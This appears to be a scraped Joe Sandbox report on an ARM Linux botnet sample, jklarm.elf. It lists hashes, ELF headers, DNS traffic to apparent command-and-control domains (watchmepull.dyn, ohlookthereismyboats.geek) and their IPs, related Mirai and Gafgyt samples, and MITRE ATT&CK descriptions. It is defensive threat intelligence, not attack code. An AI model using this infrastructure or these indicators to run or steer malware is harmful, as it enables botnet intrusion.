115.88.58.199	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
181.40.252.41	unknown	Paraguay	23201	TelecelSAPY	false
150.39.7.32	unknown	Japan	38654	INES-NETWORKINESCorporationJP	false
77.59.70.220	unknown	Switzerland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
178.190.138.193	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
178.128.18.8	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	false
204.128.91.153	unknown	United States	26713	BPS-NOGUS	false
47.19.227.33	unknown	United States	6128	CABLE-NET-1US	false
31.251.134.217	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
5.0.191.221	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
19.149.14.20	unknown	United States	3	MIT-GATEWAYSUS	false
136.14.237.216	unknown	United States	10146	FORD-MOTOR-CO-SG-APFordMotorCompanySG	false
122.3.163.100	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
216.33.48.185	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
7.0.100.22	unknown	United States	3356	LEVEL3US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	nabm68k.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	splmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklppc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	zerspc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	jklarm5.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklx86.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklx86.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
watchmepull.dyn	splmips.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
watchmepull.dyn	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
STARHUB-CABLEStarHubLtdSG	nklarm7.elf	Get hash	malicious	Unknown	Browse	59.189.27.72
	yakov.x64.elf	Get hash	malicious	Mirai	Browse	202.156.119.100
	Owari.arm.elf	Get hash	malicious	Unknown	Browse	116.88.13.29
	splx86.elf	Get hash	malicious	Unknown	Browse	59.189.243.195
	ue5QSYCBPt.dll	Get hash	malicious	Wannacry	Browse	59.189.210.2
	kwari.mips.elf	Get hash	malicious	Unknown	Browse	202.156.207.104
	armv4l.elf	Get hash	malicious	Unknown	Browse	59.189.52.81
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	202.156.200.225
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	116.88.3.27
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	222.165.30.101
INFOWEBFUJITSULIMITEDJP	resgod.mips.elf	Get hash	malicious	Mirai	Browse	61.124.179.138
	ssh.mpsl.elf	Get hash	malicious	Mirai	Browse	124.25.12.92
	m68k.elf	Get hash	malicious	Unknown	Browse	124.24.156.57
	hgfs.arm.elf	Get hash	malicious	Unknown	Browse	220.145.8.202
	hgfs.arm.elf	Get hash	malicious	Unknown	Browse	202.248.81.129
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	133.163.63.198
	sora.arm.elf	Get hash	malicious	Mirai	Browse	220.145.240.140
	hgfs.arm5.elf	Get hash	malicious	Unknown	Browse	202.216.196.245
	hgfs.mips.elf	Get hash	malicious	Unknown	Browse	202.248.65.131
	KKveTTgaAAsecNNaaaa.x86_64.elf	Get hash	malicious	Unknown	Browse	122.253.210.150
CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN	jklx86.elf	Get hash	malicious	Unknown	Browse	144.0.64.229
	http://www.9679595.com/	Get hash	malicious	Unknown	Browse	150.138.188.41
	Owari.x86.elf	Get hash	malicious	Unknown	Browse	144.9.162.129
	miori.mips.elf	Get hash	malicious	Unknown	Browse	144.151.237.27
	splspc.elf	Get hash	malicious	Unknown	Browse	144.196.211.213
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	144.144.200.60
	nabarm5.elf	Get hash	malicious	Unknown	Browse	144.10.235.15
	splppc.elf	Get hash	malicious	Unknown	Browse	144.150.212.177
	tmips.elf	Get hash	malicious	Unknown	Browse	144.18.207.198
	jfeeps.elf	Get hash	malicious	Gafgyt, Mirai	Browse	144.0.28.64
ASN-IBSNAZIT	nabm68k.elf	Get hash	malicious	Unknown	Browse	82.188.85.12
	nabspc.elf	Get hash	malicious	Unknown	Browse	79.19.2.224
	jklarm5.elf	Get hash	malicious	Unknown	Browse	79.5.115.164
	nabarm5.elf	Get hash	malicious	Unknown	Browse	79.7.7.237
	resgod.arm.elf	Get hash	malicious	Mirai	Browse	94.82.238.150
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	88.39.151.75
	hoho.spc.elf	Get hash	malicious	Unknown	Browse	82.107.249.134
	hoho.sh4.elf	Get hash	malicious	Unknown	Browse	79.31.167.102
	hoho.mpsl.elf	Get hash	malicious	Unknown	Browse	79.5.50.220
	hoho.m68k.elf	Get hash	malicious	Unknown	Browse	79.56.176.157

Process:	/tmp/jklarm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.2090687867257497
Encrypted:	false
SSDEEP:	3:FVEtIX9FQWUQfvkF/VVp3FQWUQfviiXvVl/VVdf/FVLADsVHI1v/VVdf/FVWAfDj:uIgcE/VWcvXNl/VjmsVot/VOArB/VH
MD5:	C29E497024E353F9CB32EB09DF4576C0
SHA1:	26EB4978EB2B23A66109DAAA411CE27F76A360A9
SHA-256:	3616F6DC0827A0FBBA5BC3739F88BC6D995017311AA95C7C6C5B3DC34690A61F
SHA-512:	434353CBA8A82D95E6B69A150F36A6D3FCE66CE6CDD961A36B3E484DFC51014A6FEBC800B5AEBD99F22B1CEDA3234D29D3F10DDAC862F07F514723C608A08E3B
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531566 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531566 /tmp/..20000-22000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Source: jklarm.elf	Virustotal: Detection: 50%			Perma Link
Source: jklarm.elf	ReversingLabs: Detection: 44%

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.056172357778947
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklarm.elf
File size:	62'396 bytes
MD5:	fda0ca502893f958d4ef2a9f983f817b
SHA1:	34f4ad3c4b172fce500a9c98379c53cb867c730e
SHA256:	4c5db524ae264efdcb5b68057d062be4cfce059968926d9f33831bfae44abc0e
SHA512:	0edd2a23d265b3d111c6b9f4721bdfb44cd6a60a99e600ca9f2c814cb6112e6ffa4b3c05bb2a33fd10927ee1e5f27121f7149fd570b2c33124e65ce7f74ef06b
SSDEEP:	1536:uW7iFfylT3vypL08mfxvYNsd+lzszXPbbBR:d7iFkUbKww+l4zXPb
TLSH:	8C53F786B892DA53C1D552BBBA5F82DD332223E8D2DF3203DD116F553B8A91B0D6B241
File Content Preview:	.ELF...a..........(.........4...........4. ...(.........................................................D...........Q.td..................................-...L."....7..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	61956
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xdee0	0x0	0x6	AX	16
.fini	PROGBITS	0x15f90	0xdf90	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15fa4	0xdfa4	0xf52	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f010	0xf010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x1ac	0x0	0x3	WA	4
.bss	NOBITS	0x1f1c0	0xf1c0	0x1284	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf1c0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xeef6	0xeef6	6.0980	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x1c0	0x1444	2.2842	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 19:43:15.810364008 CET	192.168.2.13	51.158.108.203	0x5ab5	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:27.075829029 CET	192.168.2.13	51.158.108.203	0x94b6	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:38.694034100 CET	192.168.2.13	202.61.197.122	0x3b12	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:50.277616978 CET	192.168.2.13	185.181.61.24	0x7e4f	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:01.909619093 CET	192.168.2.13	202.61.197.122	0x3b42	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:13.571938038 CET	192.168.2.13	185.181.61.24	0xe746	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:25.275629044 CET	192.168.2.13	202.61.197.122	0xce9d	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:30.282058954 CET	192.168.2.13	202.61.197.122	0xce9d	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:41.548293114 CET	192.168.2.13	194.36.144.87	0xc66b	Standard query (0)	watchmepull.dyn. [malformed]	256	409	false
Mar 19, 2025 19:44:41.574975014 CET	192.168.2.13	194.36.144.87	0xc66b	Standard query (0)	watchmepull.dyn. [malformed]	256	409	false
Mar 19, 2025 19:44:41.601151943 CET	192.168.2.13	194.36.144.87	0xc66b	Standard query (0)	watchmepull.dyn. [malformed]	256	409	false
Mar 19, 2025 19:44:41.620372057 CET	192.168.2.13	194.36.144.87	0xc66b	Standard query (0)	watchmepull.dyn. [malformed]	256	409	false
Mar 19, 2025 19:44:41.640064001 CET	192.168.2.13	194.36.144.87	0xc66b	Standard query (0)	watchmepull.dyn. [malformed]	256	409	false
Mar 19, 2025 19:44:53.294528008 CET	192.168.2.13	81.169.136.222	0xcdd1	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:45:04.944936037 CET	192.168.2.13	168.235.111.72	0xe8f6	Standard query (0)	watchmepull.dyn. [malformed]	256	432	false
Mar 19, 2025 19:45:05.144752979 CET	192.168.2.13	168.235.111.72	0xe8f6	Standard query (0)	watchmepull.dyn. [malformed]	256	433	false
Mar 19, 2025 19:45:05.233928919 CET	192.168.2.13	168.235.111.72	0xe8f6	Standard query (0)	watchmepull.dyn. [malformed]	256	433	false
Mar 19, 2025 19:45:05.326096058 CET	192.168.2.13	168.235.111.72	0xe8f6	Standard query (0)	watchmepull.dyn. [malformed]	256	433	false
Mar 19, 2025 19:45:05.414769888 CET	192.168.2.13	168.235.111.72	0xe8f6	Standard query (0)	watchmepull.dyn. [malformed]	256	433	false
Mar 19, 2025 19:45:17.150640011 CET	192.168.2.13	152.53.15.127	0x8c91	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 19:43:15.825630903 CET	51.158.108.203	192.168.2.13	0x5ab5	No error (0)	watchmepull.dyn		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:15.825630903 CET	51.158.108.203	192.168.2.13	0x5ab5	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:15.825630903 CET	51.158.108.203	192.168.2.13	0x5ab5	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:27.091653109 CET	51.158.108.203	192.168.2.13	0x94b6	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:27.091653109 CET	51.158.108.203	192.168.2.13	0x94b6	No error (0)	watchmepull.dyn		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:27.091653109 CET	51.158.108.203	192.168.2.13	0x94b6	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:38.711378098 CET	202.61.197.122	192.168.2.13	0x3b12	No error (0)	watchmepull.dyn		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:38.711378098 CET	202.61.197.122	192.168.2.13	0x3b12	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:38.711378098 CET	202.61.197.122	192.168.2.13	0x3b12	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:50.313411951 CET	185.181.61.24	192.168.2.13	0x7e4f	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:50.313411951 CET	185.181.61.24	192.168.2.13	0x7e4f	No error (0)	watchmepull.dyn		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:43:50.313411951 CET	185.181.61.24	192.168.2.13	0x7e4f	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:01.927273989 CET	202.61.197.122	192.168.2.13	0x3b42	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:01.927273989 CET	202.61.197.122	192.168.2.13	0x3b42	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:01.927273989 CET	202.61.197.122	192.168.2.13	0x3b42	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:13.608020067 CET	185.181.61.24	192.168.2.13	0xe746	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:13.608020067 CET	185.181.61.24	192.168.2.13	0xe746	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:13.608020067 CET	185.181.61.24	192.168.2.13	0xe746	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:30.299598932 CET	202.61.197.122	192.168.2.13	0xce9d	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:30.299598932 CET	202.61.197.122	192.168.2.13	0xce9d	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:30.299598932 CET	202.61.197.122	192.168.2.13	0xce9d	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:41.570730925 CET	194.36.144.87	192.168.2.13	0xc66b	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	409	false
Mar 19, 2025 19:44:41.597718954 CET	194.36.144.87	192.168.2.13	0xc66b	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	409	false
Mar 19, 2025 19:44:41.618205070 CET	194.36.144.87	192.168.2.13	0xc66b	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	409	false
Mar 19, 2025 19:44:41.636908054 CET	194.36.144.87	192.168.2.13	0xc66b	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	409	false
Mar 19, 2025 19:44:41.662426949 CET	194.36.144.87	192.168.2.13	0xc66b	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	409	false
Mar 19, 2025 19:44:53.323930025 CET	81.169.136.222	192.168.2.13	0xcdd1	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:53.323930025 CET	81.169.136.222	192.168.2.13	0xcdd1	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:44:53.323930025 CET	81.169.136.222	192.168.2.13	0xcdd1	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:45:17.173959970 CET	152.53.15.127	192.168.2.13	0x8c91	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:45:17.173959970 CET	152.53.15.127	192.168.2.13	0x8c91	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:45:17.173959970 CET	152.53.15.127	192.168.2.13	0x8c91	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false

Start time (UTC):	18:43:13
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm.elf
Arguments:	/tmp/jklarm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:43:14
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklarm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.1dHmY5 (deleted)

/tmp/qemu-open.3CQ6G4 (deleted)

/tmp/qemu-open.3HzRK5 (deleted)

/tmp/qemu-open.3eIQU5 (deleted)

/tmp/qemu-open.4WGMg7 (deleted)

/tmp/qemu-open.5EaNy3 (deleted)

/tmp/qemu-open.6Bqjl7 (deleted)

/tmp/qemu-open.7jSYX4 (deleted)

/tmp/qemu-open.80tV95 (deleted)

/tmp/qemu-open.8Z0NS2 (deleted)

/tmp/qemu-open.95gfV3 (deleted)

/tmp/qemu-open.9MYPZ2 (deleted)

/tmp/qemu-open.9P8FN2 (deleted)

/tmp/qemu-open.9VgoN6 (deleted)

/tmp/qemu-open.9Ymz16 (deleted)

/tmp/qemu-open.9xwu74 (deleted)

/tmp/qemu-open.AOLw44 (deleted)

/tmp/qemu-open.AzGfD5 (deleted)

/tmp/qemu-open.B3KdO5 (deleted)

/tmp/qemu-open.BBPBr5 (deleted)

/tmp/qemu-open.Bj6ly6 (deleted)

/tmp/qemu-open.BmZ7E3 (deleted)

/tmp/qemu-open.CWCJL2 (deleted)

/tmp/qemu-open.ClF6V4 (deleted)

/tmp/qemu-open.FIqjb7 (deleted)

/tmp/qemu-open.IM1D33 (deleted)

/tmp/qemu-open.IxlQt6 (deleted)

/tmp/qemu-open.JKhG52 (deleted)

/tmp/qemu-open.JloV66 (deleted)

/tmp/qemu-open.Jp6CA4 (deleted)

/tmp/qemu-open.K2BG22 (deleted)

/tmp/qemu-open.KNPjo7 (deleted)

/tmp/qemu-open.KQxCv3 (deleted)

Linux Analysis Report
jklarm.elf